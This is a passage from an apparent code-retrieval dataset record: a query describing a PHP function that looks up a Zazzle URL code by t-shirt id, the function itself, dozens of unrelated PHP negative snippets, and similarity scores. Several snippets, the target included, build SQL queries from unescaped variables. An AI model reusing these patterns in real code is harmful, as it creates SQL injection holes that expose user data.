\"/\\^1/\", \"/\\^2/\", \"/\\^3/\", // 1\r\n\t \"/\\^4/\", \"/\\^5/\", \"/\\^6/\", \"/\\^7/\", // 2\r\n\t \"/\\^8/\", \"/\\^9/\", \"/\\^a/\", \"/\\^b/\", // 3\r\n\t \"/\\^c/\", \"/\\^d/\", \"/\\^e/\", \"/\\^f/\", // 4\r\n\t \"/\\^g/\", \"/\\^h/\", \"/\\^i/\", \"/\\^j/\", // 5\r\n\t \"/\\^k/\", \"/\\^l/\", \"/\\^m/\", \"/\\^n/\", // 6\r\n\t \"/\\^o/\", \"/\\^p/\", \"/\\^q/\", \"/\\^r/\", // 7\r\n\t \"/\\^s/\", \"/\\^t/\", \"/\\^u/\", \"/\\^v/\", // 8\r\n\t \"/\\^w/\", \"/\\^x/\", \"/\\^y/\", \"/\\^z/\", // 9\r\n\t \"/\\^\\//\", \"/\\^\\*/\", \"/\\^\\-/\", \"/\\^\\+/\", // 10\r\n\t \"/\\^\\?/\", \"/\\^\\@/\", \"/\\^</\", \"/\\^>/\", // 11\r\n\t \"/\\^\\&/\", \"/\\^\\)/\", \"/\\^\\(/\", \"/\\^[A-Z]/\", // 12\r\n\t \"/\\^\\_/\", // 14\r\n\t \"/&</\", \"/^(.*?)<\\/font>/\" // 15\r\n\t );\r\n\t\r\n\t $replace = array (\r\n\t \"&<font color=$clr[0]>\", \"&<font color=$clr[1]>\", // 1\r\n\t \"&<font color=$clr[2]>\", \"&<font color=$clr[3]>\", // 2\r\n\t \"&<font color=$clr[4]>\", \"&<font color=$clr[5]>\", // 3\r\n\t \"&<font color=$clr[6]>\", \"&<font color=$clr[7]>\", // 4\r\n\t \"&<font color=$clr[8]>\", \"&<font color=$clr[9]>\", // 5\r\n\t \"&<font color=$clr[10]>\", \"&<font color=$clr[11]>\", // 6\r\n\t \"&<font color=$clr[12]>\", \"&<font color=$clr[13]>\", // 7\r\n\t \"&<font color=$clr[14]>\", \"&<font color=$clr[15]>\", // 8\r\n\t \"&<font color=$clr[16]>\", \"&<font color=$clr[17]>\", // 9\r\n\t \"&<font color=$clr[18]>\", \"&<font color=$clr[19]>\", // 10\r\n\t \"&<font color=$clr[20]>\", \"&<font color=$clr[21]>\", // 11\r\n\t \"&<font color=$clr[22]>\", \"&<font color=$clr[23]>\", // 12\r\n\t \"&<font color=$clr[24]>\", \"&<font color=$clr[25]>\", // 13\r\n\t \"&<font color=$clr[26]>\", \"&<font color=$clr[27]>\", // 14\r\n\t \"&<font color=$clr[28]>\", \"&<font color=$clr[29]>\", // 15\r\n\t \"&<font color=$clr[30]>\", \"&<font color=$clr[31]>\", // 16\r\n\t \"&<font color=$clr[32]>\", \"&<font color=$clr[33]>\", // 17\r\n\t \"&<font color=$clr[34]>\", \"&<font color=$clr[35]>\", // 18\r\n\t \"&<font color=$clr[36]>\", \"&<font color=$clr[37]>\", // 19\r\n\t \"&<font color=$clr[38]>\", \"&<font color=$clr[39]>\", // 20\r\n\t \"&<font color=$clr[40]>\", \"&<font color=$clr[41]>\", // 21\r\n\t \"\", \"\", \"\", \"\", \"\", \"\", // 22\r\n\t \"\", \"</font><\", \"\\$1\" // 23\r\n\t );\r\n\t\r\n\t $ctext = preg_replace($search, $replace, $text);\r\n\t\r\n\t if ($ctext != $text)\r\n\t {\r\n\t $ctext = preg_replace(\"/$/\", \"</font>\", $ctext);\r\n\t }\r\n\t\r\n\t return trim($ctext);\r\n\t }\r\n\t elseif ($switch == 2)\r\n\t { // colored numbers\r\n\t if ($text <= 39)\r\n\t {\r\n\t $ctext = \"<font color=$clr[7]>$text</font>\";\r\n\t }\r\n\t elseif ($text <= 69)\r\n\t {\r\n\t $ctext = \"<font color=$clr[5]>$text</font>\";\r\n\t }\r\n\t elseif ($text <= 129)\r\n\t {\r\n\t $ctext = \"<font color=$clr[8]>$text</font>\";\r\n\t }\r\n\t elseif ($text <= 399)\r\n\t {\r\n\t $ctext = \"<font color=$clr[9]>$text</font>\";\r\n\t }\r\n\t else\r\n\t {\r\n\t $ctext = \"<font color=$clr[1]>$text</font>\";\r\n\t }\r\n\t\r\n\t return trim($ctext);\r\n\t }\r\n\t\t}\r\n\t\t# no color so just return ..\r\n\t\telse {\r\n\t\t\treturn trim($text);\r\n\t\t} \r\n\t}",
"public static function getColors()\n {\n $db = DataBase::connect();\n\n $result = $db->query('SELECT * FROM `color`');\n\n $colors = [];\n\n $i = 1;\n\n while($row = $result->fetch()) {\n $colors[$i]['color'] = $row['color'];\n $colors[$i]['ukr_title'] = $row['ukr_title'];\n $colors[$i]['upper_ukr_title'] = $row['upper_ukr_title'];\n $colors[$i]['default'] = $row['default'];\n\n $i++;\n }\n return $colors;\n }",
"function getColor(){\n\t\treturn $this->color_ficha;\n\t}",
"public function findDistinctColor() {\n // Try to run the SQL query.\n try {\n $this->query = $this->db->query(\"SELECT DISTINCT color FROM inventory ORDER BY color;\");\n $result = $this->query->fetchAll(\\PDO::FETCH_ASSOC);\n return $result;\n } catch(\\PDOException $e) {\n exit($e->getMessage());\n }\n }",
"function & getTitle() {\r\n\r\n\t\tif(empty($this->_id)) {\r\n\t\t\t$this->_title = \"\";\r\n\t\t\treturn $this->_title;\r\n\t\t}\r\n\r\n\t\t// Load the data\r\n\t\tif (empty ($this->_title)) {\r\n\t\t\t$database = $this->_db;\r\n\t\t\t$ce = $this->_content_element;\r\n\r\n\t\t\t/* retrieve values */\r\n\t\t\t$query = \"SELECT \" .$ce->title.\" FROM #__\". $ce->table .\" WHERE \" . $ce->id. \" = '\" . $this->_id .\"'\";\r\n\r\n\t\t\t$database->setQuery($query);\r\n\t\t\t$this->_title = $database->loadResult();\r\n\t\t}\r\n\t\treturn $this->_title;\r\n\t}",
"public function getColorLabelByColorId($id){\n\n $atributo = Mage::getStoreConfig('cores/config/codigo_cor');\n $attribute_code=Mage::getModel('eav/entity_attribute')->getIdByCode('catalog_product', $atributo);\n $attributeInfo = Mage::getModel('eav/entity_attribute')->load($attribute_code);\n $attribute_table = Mage::getModel('eav/entity_attribute_source_table')->setAttribute($attributeInfo);\n\n $label = $attribute_table->getOptionText($id);\n return $label;\n }",
"function getRC($name)\n{\n global $rc;\n\n foreach ($rc as $item) {\n if (strpos($item, $name.'.rc')){\n return $item;\n }\n }\n\n return null;\n}",
"private function _cacheName() {\n $file = APPLICATION_PATH . '/application/settings/restapi_caching_url.php';\n if (file_exists($file)) {\n $enableCacheUrl = include $file;\n } else {\n return '';\n }\n $viewer = Engine_Api::_()->user()->getViewer();\n $front = Zend_Controller_Front::getInstance();\n $request = $front->getRequest();\n $params = array();\n $params['module'] = $request->getModuleName();\n $params['controller'] = $request->getControllerName();\n $params['action'] = $request->getActionName();\n $parameters = $request->getParams();\n $language = $parameters['language'];\n $cacheName = implode(\"_\", $params);\n $key_val = '';\n $cacheName = str_replace('-', '_', $cacheName);\n if (!isset($enableCacheUrl[$cacheName]) || empty($enableCacheUrl[$cacheName]))\n return;\n $getRequestUri = htmlspecialchars($_SERVER['REQUEST_URI']);\n $urlarray = explode(\"?\", $getRequestUri);\n $trimData = trim($urlarray[0], \"/\");\n $cachName = str_replace(\"/\", \"_\", $trimData);\n $viewerId = 0;\n $keys = array_keys($parameters);\n $matched = preg_grep('/_id|_type$/', $keys);\n $matched = array_flip($matched);\n $matched = array_intersect_key($parameters, $matched);\n $key_val = implode('_', $matched);\n\n if ($enableCacheUrl[$cacheName] == 'member_level') {\n $viewerId = $viewer && $viewer->getIdentity() ? $viewer->level_id : 0;\n } elseif ($enableCacheUrl[$cacheName] == 'user_level') {\n $viewerId = $viewer && $viewer->getIdentity() ? $viewer->getIdentity() : 0;\n }\n\n $cachName = $cachName . '_' . $language . '_' . $key_val . '_' . $viewerId;\n $cachName = str_replace('-', '_', $cachName);\n $cachName = str_replace('.', '_', $cachName);\n return $cachName;\n }",
"public static function title();",
"function getColor() { return $this->_color; }",
"public static function getTitle()\n {\n return self::$title;\n }",
"function getColor() { return $this->_color; }",
"function getColor() { return $this->_color; }",
"public function title()\n {\n return $this->{static::$title};\n }",
"public static function hash()\r\n {\r\n return sprintf(\"%s[#]%s \", Color::GRN, Color::END);\r\n }",
"public function getColor1()\n {\n $sql = \"SELECT color_hex\n FROM site_color where site_color_id = 1\";\n\n $statement = $this->_dbh->prepare($sql);\n\n //$statement->bindParam(':color1', $color1);\n $statement->execute();\n //echo $statement;\n return $statement->fetchAll(PDO::FETCH_ASSOC);\n }",
"public function drawTitleByGUID($guid) {\n\t\t\tglobal $db;\n\t\t\t$data = $db->get_var(\"SELECT title FROM pages WHERE guid = '$guid'\");\n\t\t\treturn $data;\n\t\t}",
"function pl_footer_color(){\n\t\n\t$color = ( pl_check_color_hash( ploption( 'footer_text' ) ) ) ? pl_hash_strip( ploption( 'footer_text' ) ) : '999999';\n\t\n\treturn $color;\n}",
"private function getFontColor()\n {\n if (empty($this->fontColor)) {\n return imagecolorallocatealpha($this->image, rand(0, 255), rand(0, 255), rand(0, 255), rand(0, $this->opacity));\n } else {\n return $this->fontColor[rand(0, count($this->fontColor) - 1)];\n }\n }",
"public function get_cache_filename($url)\n {\n }",
"public static function color()\n {\n return null;\n }",
"public static function color()\n {\n return null;\n }",
"function page_title( $path )\n\t{\n\t\t$page = $this->page($path);\n\n\t\tif( isset($page->meta['title']) )\n\t\t\treturn $page->meta['title'][0];\n\n\t\t// get cache file or parse page titles\n\t\t$content = $page['content'];\n\t\tif( !$content ) {\n\t\t\t$content = $this->parse_headers($page['raw_content']);\n\t\t}\n\t\t// find, memorize and return\n\t\tif( false !== ($a = strpos($content, '<h1>'))\n\t\t && false !== ($b = strpos($content, '</h1>', $a+1)) )\n\t\t{\n\t\t\t$title = substr($content, $a+4, $b - ($a+4));\n\t\t\t$this->pages[$path]['meta']['title'][0] = $title;\n\t\t\t$this->pages[$path]['meta']['title'][1] = false;\n\t\t\treturn $title;\n\t\t}\n\t\t// nothing found\n\t\treturn $this->page_name($path);\n\t}",
"public function getSiteTitle() {\n\t\treturn isset($this->cache->siteTitle) ? $this->cache->siteTitle : 'Crystal-Web System';\n\t}",
"function wpvideocoach_get_categories_color()\r\n{\r\n\tglobal $wpvideocoach_categories_color;\r\n\tif(empty($wpvideocoach_categories_color)){\r\n\t\t$wpvideocoach_categories_color = '#000';\r\n\t}\r\n\treturn $wpvideocoach_categories_color;\r\n}",
"function getColor(): string\n{\n $arrColors = [\n 'AliceBlue',\n 'AntiqueWhite',\n 'Aqua',\n 'Aquamarine',\n 'Azure',\n 'Beige',\n 'Bisque',\n 'Black',\n 'BlanchedAlmond',\n 'Blue',\n 'BlueViolet',\n 'Brown',\n 'BurlyWood',\n 'CadetBlue',\n 'Chartreuse',\n 'Chocolate',\n 'Coral',\n 'CornflowerBlue',\n 'Cornsilk',\n 'Crimson',\n 'Cyan',\n 'DarkBlue',\n 'DarkCyan',\n 'DarkGoldenRod',\n 'DarkGray',\n 'DarkGrey',\n 'DarkGreen',\n 'DarkKhaki',\n 'DarkMagenta',\n 'DarkOliveGreen',\n 'Darkorange',\n 'DarkOrchid',\n 'DarkRed',\n 'DarkSalmon',\n 'DarkSeaGreen',\n 'DarkSlateBlue',\n 'DarkSlateGray',\n 'DarkSlateGrey',\n 'DarkTurquoise',\n 'DarkViolet',\n 'DeepPink',\n 'DeepSkyBlue',\n 'DimGray',\n 'DimGrey',\n 'DodgerBlue',\n 'FireBrick',\n 'FloralWhite',\n 'ForestGreen',\n 'Fuchsia',\n 'Gainsboro',\n 'GhostWhite',\n 'Gold',\n 'GoldenRod',\n 'Gray',\n 'Grey',\n 'Green',\n 'GreenYellow',\n 'HoneyDew',\n 'HotPink',\n 'IndianRed',\n 'Indigo',\n 'Ivory',\n 'Khaki',\n 'Lavender',\n 'LavenderBlush',\n 'LawnGreen',\n 'LemonChiffon',\n 'LightBlue',\n 'LightCoral',\n 'LightCyan',\n 'LightGoldenRodYellow',\n 'LightGray',\n 'LightGrey',\n 'LightGreen',\n 'LightPink',\n 'LightSalmon',\n 'LightSeaGreen',\n 'LightSkyBlue',\n 'LightSlateGray',\n 'LightSlateGrey',\n 'LightSteelBlue',\n 'LightYellow',\n 'Lime',\n 'LimeGreen',\n 'Linen',\n 'Magenta',\n 'Maroon',\n 'MediumAquaMarine',\n 'MediumBlue',\n 'MediumOrchid',\n 'MediumPurple',\n 'MediumSeaGreen',\n 'MediumSlateBlue',\n 'MediumSpringGreen',\n 'MediumTurquoise',\n 'MediumVioletRed',\n 'MidnightBlue',\n 'MintCream',\n 'MistyRose',\n 'Moccasin',\n 'NavajoWhite',\n 'Navy',\n 'OldLace',\n 'Olive',\n 'OliveDrab',\n 'Orange',\n 'OrangeRed',\n 'Orchid',\n 'PaleGoldenRod',\n 'PaleGreen',\n 'PaleTurquoise',\n 'PaleVioletRed',\n 'PapayaWhip',\n 'PeachPuff',\n 'Peru',\n 'Pink',\n 'Plum',\n 'PowderBlue',\n 'Purple',\n 'Red',\n 'RosyBrown',\n 'RoyalBlue',\n 'SaddleBrown',\n 'Salmon',\n 'SandyBrown',\n 'SeaGreen',\n 'SeaShell',\n 'Sienna',\n 'Silver',\n 'SkyBlue',\n 'SlateBlue',\n 'SlateGray',\n 'SlateGrey',\n 'Snow',\n 'SpringGreen',\n 'SteelBlue',\n 'Tan',\n 'Teal',\n 'Thistle',\n 'Tomato',\n 'Turquoise',\n 'Violet',\n 'Wheat',\n 'White',\n 'WhiteSmoke',\n 'Yellow',\n 'YellowGreen'\n ];\n\n return array_rand(array_flip($arrColors));\n}",
"function getColor() { return $this->readColor(); }",
"function habitat_wp_getcolor() {\n if (!defined('HABITAT_ENVIRONMENT')) {\n return NULL;\n }\n switch (HABITAT_ENVIRONMENT) {\n case 'Dev':\n // Red.\n return '#E22222';\n\n case 'Test':\n // Orange.\n return '#E29522';\n }\n return NULL;\n\n}",
"public function get_title () {\r\n\t\treturn $this->get_info()['title'];\r\n\t}",
"public function getColorCodeText($id){\n\t\t$sql = \"select text from sy_color_codes where id=?\";\n\t\t$SyColorCode = $this->runRequest($sql, array($id));\n\t\tif ($SyColorCode->rowCount() == 1){\n\t\t\t$tmp = $SyColorCode->fetch();\n\t\t\treturn $tmp[0]; // get the first line of the result\n\t\t}\n\t\telse{\n\t\t\treturn \"000000\";\n\t\t}\n\t}",
"public function getTitle() {\n\t\t$titles = array(\n\t\t\t'CEO',\n\t\t\t'Assistant Regional Manager',\n\t\t\t'Champion of Light',\n\t\t\t'Usurper Lord',\n\t\t\t'Overlord Maximus',\n\t\t\t'Shadowpuppet Master',\n\t\t);\n\t\t$index = mt_rand(0, count($titles) - 1);\n\t\treturn $titles[$index];\n\t}",
"public function name()\n {\n return $this->getFromCache(\n ['type' => 'name']\n );\n }",
"public function getColor(): string\n {\n }",
"function getTitle();",
"function getTitle();",
"public function getTitle()\n {\n if ($sqlLogs = $this->getLogs())\n {\n $nbQueries = sizeof($sqlLogs);\n\n // Apply a color depending on the number of queries\n foreach($this->colors as $min => $content)\n {\n if($nbQueries >= $min)\n {\n $backgroundColor = $content[0];\n $label = $content[1];\n break;\n }\n }\n\n $color = 'white';\n }\n else\n {\n $backgroundColor = 'none';\n $color = 'black';\n $label = 'Really?';\n $nbQueries = 0;\n }\n \n return '<img src=\"'.$this->webDebug->getOption('image_root_path').'/database.png\" alt=\"SQL queries\" /> <span style=\"background-color: '.$backgroundColor.'; color: '.$color.';\"> '.$nbQueries.' ('.$label.')</span>';\n }",
"public function getColor2()\n {\n $sql = \"SELECT color_hex\n FROM site_color where site_color_id = 2\";\n\n $statement = $this->_dbh->prepare($sql);\n\n// $statement->bindParam(':color2', $color2);\n $statement->execute();\n return $statement->fetchAll(PDO::FETCH_ASSOC);\n }",
"public function colorCodesIDName(){\n\t\t\t\n\t\t$sql = \"select id, name from sy_color_codes\";\n\t\t$SyColorCodes = $this->runRequest($sql);\n\t\treturn $SyColorCodes->fetchAll();\n\t}",
"function search_results_title() {\r\n if( is_search() ) {\r\n \r\n global $wp_query;\r\n \r\n if( $wp_query->post_count == 1 ) {\r\n $result_title .= '1 search result found';\r\n } else {\r\n $result_title .= 'Showing ' . $wp_query->found_posts . ' results';\r\n }\r\n \r\n $result_title .= \" for “<span style='color:#e83936;'>\" . wp_specialchars($wp_query->query_vars['s'], 1) . \"</span>”\";\r\n \r\n echo $result_title;\r\n \r\n }\r\n}",
"public function getTitle()\n {\n return $this->originalAsset->getTitle();\n }",
"public function getCacheName();"
] | [
"0.5903454",
"0.552552",
"0.55092275",
"0.5423243",
"0.54008156",
"0.5394931",
"0.5355861",
"0.53478",
"0.5332207",
"0.5296597",
"0.5268878",
"0.5253405",
"0.5242223",
"0.521694",
"0.5215645",
"0.52153957",
"0.5165384",
"0.5141089",
"0.5133919",
"0.5130552",
"0.51202077",
"0.5101232",
"0.5101232",
"0.5099574",
"0.5084789",
"0.5067866",
"0.5048019",
"0.5037912",
"0.5037912",
"0.50338024",
"0.50318277",
"0.5023032",
"0.5014977",
"0.50036585",
"0.50036585",
"0.4979956",
"0.49787027",
"0.49672616",
"0.49672616",
"0.49672616",
"0.49672616",
"0.49571165",
"0.4947091",
"0.4946401",
"0.49311358",
"0.49294972",
"0.49287498",
"0.49270034",
"0.49130097",
"0.491132",
"0.4910199",
"0.49064517",
"0.49063373",
"0.48978823",
"0.4897866",
"0.4887209",
"0.48853168",
"0.4884238",
"0.48758128",
"0.48680755",
"0.48671785",
"0.4865933",
"0.4864081",
"0.48447087",
"0.4843174",
"0.48382938",
"0.48380306",
"0.4822683",
"0.4822341",
"0.48191142",
"0.47992364",
"0.4794353",
"0.4794353",
"0.47904718",
"0.47903258",
"0.47800845",
"0.47782794",
"0.47780353",
"0.4775823",
"0.4769233",
"0.47659865",
"0.47659865",
"0.4754229",
"0.47468698",
"0.47467774",
"0.47447702",
"0.474311",
"0.4742052",
"0.47416118",
"0.47380668",
"0.473631",
"0.47360694",
"0.4729805",
"0.47292668",
"0.47292668",
"0.47256717",
"0.47237325",
"0.47223538",
"0.4719276",
"0.4717613",
"0.47174817"
] | 0.0 | -1 |
/ Plugin Name: Getzazzleurlcode Description: returns zazzleurlcode value on a given tshirt id design Usage: Getzazzleurlcode($id) Returns: returns string as url value Version: 1.0 Author: Radical Graphics Studios | function getzazzleurlcode($id){
$query=("SELECT * FROM lala_camisetas WHERE id = '$id'");
$result=mysql_query($query);
$row = mysql_fetch_array($result);
if ($row['zazzlecodeURL']=="") {$ret = 0;} else {$ret=$row['zazzlecodeURL'];}
return $ret;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getColorCodeValue($id){\n\t\t$sql = \"select color from sy_color_codes where id=?\";\n\t\t$SyColorCode = $this->runRequest($sql, array($id));\n\t\tif ($SyColorCode->rowCount() == 1){\n\t\t\t$tmp = $SyColorCode->fetch();\n \t\treturn $tmp[0]; // get the first line of the result\n\t\t}\n \telse{\n\t\t\treturn \"aaaaaa\";\n\t\t}\n\t}",
"public function getCode()\n {\n $this->code = $_GET['code'];\n return $this->code;\n\n }",
"function get_calling_code($country_id = '')\r\n {\r\n echo get_country_calling_code_by_id($country_id);\r\n }",
"function GetURLByContentID( $bookmark_id ) {\n $url = \"\";\n $links = $this->find( 'all', array( 'conditions' => array('bookmark_id' => $bookmark_id)));\n if( count($links) == 0 ){\n return '';\n }\n \n $links = $this->removeArrayWrapper('Link', $links);\n $link_count = count($links);\n if( $link_count == 0 ){\n return $url;\n }\n \n $type = $links[0]['type'];\n if( !isset($type) ){\n return $url;\n }\n switch($type){\n case Bookmark::TYPE_NORMAL :{\n $sub_type = 0;\n }break;\n case Bookmark::TYPE_OS :{ // normal\n $ua = $_SERVER['HTTP_USER_AGENT'];\n if (strpos($ua, 'Android') !== false) {\n $sub_type = 1;\n } elseif ( (strpos($ua, 'iPhone') !== false) || (strpos($ua, 'iPad') !== false) ) {\n $sub_type = 2;\n } else {\n $sub_type = 9;\n }\n }break;\n/* case Bookmark::TYPE_TAILS :{ // tails\n $tag_tag = $tag['tag'];\n $url = \"http://plate.id/tails/tails.php?tag=$tag_tag&atp=___SP_PLATETYPE____\";\n return $url;\n }break;\n case Bookmark::TYPE_RANDOM :{ // randam\n $sub_type = rand(1, $link_count);\n }break;\n case Bookmark::TYPE_ROTATE :{ // rotate\n $data_dir = TMP . '/data/smart_plate/rotate/';\n $file_name = $data_dir.$tag['id'].'.dat';\n \n if( file_exists($file_name) ){\n $rotate_count = file_get_contents($file_name);\n $sub_type = $rotate_count + 1;\n if($link_count < $sub_type ){\n $sub_type = 1;\n }\n }else{\n $sub_type = 1;\n }\n \n $black_list = array( 'ZXing (Android)' );\n $ua = $_SERVER['HTTP_USER_AGENT'];\n \n $write_flag = true;\n foreach ($black_list as $value) {\n if (strpos($ua,$value)!==false){\n $write_flag = false;\n break;\n }\n }\n if($write_flag){\n file_put_contents($file_name, $sub_type,LOCK_EX);\n }\n \n }break;\n */\n } \n \n foreach ($links as $link) {\n if( $link['sub_type'] == $sub_type ){\n $url = $link['url'];\n break;\n }\n }\n \n return $url;\n }",
"public function getCode();",
"public function getCode();",
"public function getCode();",
"public function getCode();",
"public function getCode();",
"public function getCode();",
"public function getColorCode($id){\n\t\t\t\n\t\t$sql = \"SELECT * FROM sy_color_codes WHERE id=?\";\n\t\t$user = $this->runRequest($sql, array($id));\n\t\treturn $user->fetch();\n\t}",
"public function getCode(): string;",
"public function getCode(): string;",
"public function getCode(): string;",
"final function getCode();",
"public function getCode():string;",
"public function getUrlId();",
"public function getColorCodeName($id){\n\t\t$sql = \"select name from sy_color_codes where id=?\";\n\t\t$SyColorCode = $this->runRequest($sql, array($id));\n\t\tif ($SyColorCode->rowCount() == 1){\n\t\t\t$tmp = $SyColorCode->fetch();\n\t\t\treturn $tmp[0]; // get the first line of the result\n\t\t}\n\t\telse{\n\t\t\treturn \"\";\t\n\t\t}\n\t}",
"function makeCode($url){\n $url = checkurl($url);\n \n $url = escape_string($url);\n //check if URL already exist\n $exist = query(\"SELECT code FROM links WHERE url = '{$url}'\");\n \n if(num_rows($exist) > 0){\n while ($row = mysqli_fetch_object($exist)) {\n return $row->code;\n }\n }\n \n $inserted_code = query(\"INSERT INTO links(url,date_created)VALUES('{$url}',NOW())\");\n //generate and store url code\n global $db;\n $code = mysqli_insert_id($db);\n $code = generateCode($code);\n \n //update the record with the generated code\n query(\"UPDATE links SET code ='{$code}' WHERE url = '{$url}'\");\n return $code;\n }",
"function url($id)\r\n\t{\r\n\t\treturn '';\r\n\t}",
"function jc_url() {\n\n}",
"function getUrl();",
"public function getCode() {}",
"public function geturlVisitForATinyUrlFromDatabase(string $id): string\n {\n $record = self::where('id', $id)->get()->first();\n\n return $record->url_visit;\n }",
"function trebi_getUrlRegione($idreg)\n{\n\tswitch ($idreg) {\n\t\tcase 1: $urlret = 'Abruzzo'; $uriret = 'abruzzo'; break;\n\t\tcase 2: $urlret = 'Basilicata'; $uriret = 'basilicata'; break;\n\t\tcase 3: $urlret = 'Calabria'; $uriret = 'calabria'; break;\n\t\tcase 4: $urlret = 'Campania'; $uriret = 'campania'; break;\n\t\tcase 5: $urlret = 'Emilia'; $uriret = 'emilia'; break;\n\t\tcase 6: $urlret = 'Friuli'; $uriret = 'friuli'; break;\n\t\tcase 7: $urlret = 'Lazio'; $uriret = 'lazio'; break;\n\t\tcase 8: $urlret = 'Liguria'; $uriret = 'liguria'; break;\n\t\tcase 9: $urlret = 'Lombardia'; $uriret = 'lombardia'; break;\n\t\tcase 10: $urlret = 'Marche'; $uriret = 'marche'; break;\n\t\tcase 11: $urlret = 'Molise'; $uriret = 'molise'; break;\n\t\tcase 12: $urlret = 'Piemonte'; $uriret = 'piemonte'; break;\n\t\tcase 13: $urlret = 'Puglia'; $uriret = 'puglia'; break;\n\t\tcase 14: $urlret = 'Sardegna'; $uriret = 'sardegna'; break;\n\t\tcase 15: $urlret = 'Sicilia'; $uriret = 'sicilia'; break;\n\t\tcase 16: $urlret = 'Toscana'; $uriret = 'toscana'; break;\n\t\tcase 17: $urlret = 'Trentino'; $uriret = 'trentino'; break;\n\t\tcase 18: $urlret = 'Umbria'; $uriret = 'umbria'; break;\n\t\tcase 19: $urlret = 'Valle d\\'aosta'; $uriret = 'valle%20aosta'; break;\n\t\tcase 20: $urlret = 'Veneto'; $uriret = 'veneto'; break;\n }\n\t$return = '<br/><a href=\"https://www.3bmeteo.com/meteo/'.strtolower($uriret).'\" style=\"font-size:10px;\">Meteo '.$urlret.'</a>';\n\treturn $return;\n}",
"protected function convertIntToShortUrl($id) {\n $id = intval($id);\n if ($id < 1) \n\t\t{\n throw new Exception(\n \"The ID is not a valid integer\");\n }\n\n $length = strlen(self::$chars);\n // make sure length of available characters is at\n // least a reasonable minimum - there should be at\n // least 10 characters\n if ($length < 10) \n\t\t{\n throw new Exception(\"Length of chars is too small\");\n }\n\n $code = \"\";\n while ($id > $length - 1) \n\t\t{\n // determine the value of the next higher character\n // in the short url should be and prepend\n $code = self::$chars[fmod($id, $length)].$code;\n // reset $id to remaining value to be converted\n $id = floor($id / $length);\n }\n\n // remaining value of $id is less than the length of\n // self::$chars\n $code = self::$chars[$id] . $code;\n\n return $code;\n }",
"function get_url()\n {\n }",
"function getIdFromLinkVnExpress($url) {\n // tra ve dc id cua url truyen vao\n // url thi la bat ky link nao theo dung dinh dang cua VNExpress\n $arrUrl = explode('-', $url); // chuyen chuoi ve mang\n $strId = end($arrUrl); // lay ra phan tu cuoi cung cua mang va khong lam thay doi mang ban dau\n $id = intval($strId);\n return $id;\n}",
"public function getCode() : int;",
"public static function get_short_url_by_id($id){\n $sql = 'SELECT * FROM '. static::$table_name;\n $sql .= ' WHERE short_url_id = '. \"'\". self::$database->escape_string($id) .\"'\";\n return static::find_by_sql($sql);\n }",
"function fsf_port_getImageShortLink($fsfcms_image_id)\n {\n global $fsfcms_api_url;\n \n $fsf_api_file = \"fsf.port.getImageShortLink.php\";\n $fsf_api_options = \"?image_id=\" . $fsfcms_image_id; \n $fsf_port_getImageShortLink_json = fsf_preacher_curl($fsfcms_api_url, $fsf_api_file, $fsf_api_options);\n $fsf_port_getImageShortLink_array = json_decode($fsf_port_getImageShortLink_json,true);\n if($fsf_port_getImageShortLink_array['0'] == \"FSFGISL-None-Found\")\n {\n $fsf_port_getImageShortLink_output = \"A short link is not available for this image.\";\n } else {\n $fsf_port_getImageShortLink_url = $fsf_port_getImageShortLink_array['imageShortLinkURL'];\n $fsf_port_getImageShortLink_image_title = $fsf_port_getImageShortLink_array['imageTitle'];\n $fsf_port_getImageShortLink_output = $fsf_port_getImageShortLink_url;\n } \n return $fsf_port_getImageShortLink_output; \n }",
"public function getCode(): int;",
"private function slug_get($id)\n\t\t{\n\t\t\t$where = '@id=\"'.utf8_encode($id).'\"';\n\t\t\t$node = $this->xml->xpath('/post/friendly/url['.$where.']');\n\n\t\t\tif($node==array())\n\t\t\t\treturn false;\n\n\t\t\treturn $node[0]->getAttribute('slug');\n\t\t}",
"public function getColorCodeText($id){\n\t\t$sql = \"select text from sy_color_codes where id=?\";\n\t\t$SyColorCode = $this->runRequest($sql, array($id));\n\t\tif ($SyColorCode->rowCount() == 1){\n\t\t\t$tmp = $SyColorCode->fetch();\n\t\t\treturn $tmp[0]; // get the first line of the result\n\t\t}\n\t\telse{\n\t\t\treturn \"000000\";\n\t\t}\n\t}",
"public function getApiCode();",
"public function getCodeById($id)\n\t{\n\t\tforeach ($this->list as $lang)\n\t\t{\n\t\t\tif ($lang['id'] == $id) {\n\t\t\t\treturn $lang['code'];\n\t\t\t}\n\t\t}\n\t}",
"public function getChansonUrl($id){\n // return \"Chanson.php/\".$id; \n return $this->rootUrl().\"\".$id; \n }",
"function mapit_get_example_postcode($id) {\n global $mapit_client;\n $params = func_get_args();\n $result = $mapit_client->call('MaPit.get_example_postcode', $params);\n return $result;\n}",
"public function generate_id_hak($string='')\n\t{\n\t\t$query = $this->CI->db->query(\"SELECT * FROM tb_hak_milik WHERE slug_jenis_hak = '{$string}'\");\n\t\tif(!$query->num_rows()) :\n\t\t\treturn 0;\n\t\telse :\n\t\t\t$row = $query->row();\n\t\t\treturn $row->id_hak;\n\t\tendif;\n\t}",
"public function getCode()\r\r\n\t{\r\r\n\t\treturn \"\";#getCountryFromIP($this->ip,\"code\");\r\r\n\t}",
"public function getCode()\n {\n }",
"public function getcode() {\n\t\t$this -> db -> select('id');\n\t\t$this -> db -> from('store_info');\n\t\t$this -> db -> limit(1);\n\t\t$this -> db -> order_by(\"id\", \"desc\");\n\t\t$query = $this->db->get();\n\t\tif ($query->num_rows() > 0) {\n $row = $query->row();\n\t\t\tif (isset($row)){\n\t\t\t\treturn $row->id;\n\t\t\t}\n }else{\n\t\t\treturn 0;\n\t\t}\n \t}",
"public function get_id_code_name($id)\n {\n if($id==\"\"){\n $slct_qry=\"SELECT course_id,course_code,course_title FROM courses WHERE course_deleted='0'\";\n $exe_qry=mysqli_query($GLOBALS['con'],$slct_qry) or die(mysqli_error($GLOBALS['con']));\n } else {\n $slct_qry=\"SELECT course_id,course_code,course_title FROM courses WHERE course_id = $id AND course_deleted='0'\";\n $exe_qry=mysqli_query($GLOBALS['con'],$slct_qry) or die(mysqli_error($GLOBALS['con']));\n }\n return $exe_qry;\n }",
"function getPageURL($id) {\n $this->db->select(\"pageURL\");\n $this->db->where(\"pageID\", $id);\n $query = $this->db->get('page_attributes');\n if ($query->num_rows() > 0) {\n foreach ($query->result() as $rows) {\n $pageURL = $rows->pageURL;\n return $pageURL;\n }\n }\n }",
"function getURL()\r\n\t{\r\n\t\treturn \"http://www.iai.com\";\r\n\t}",
"public function GetCode () \r\n\t{\r\n\t\treturn ($Code);\r\n\t}",
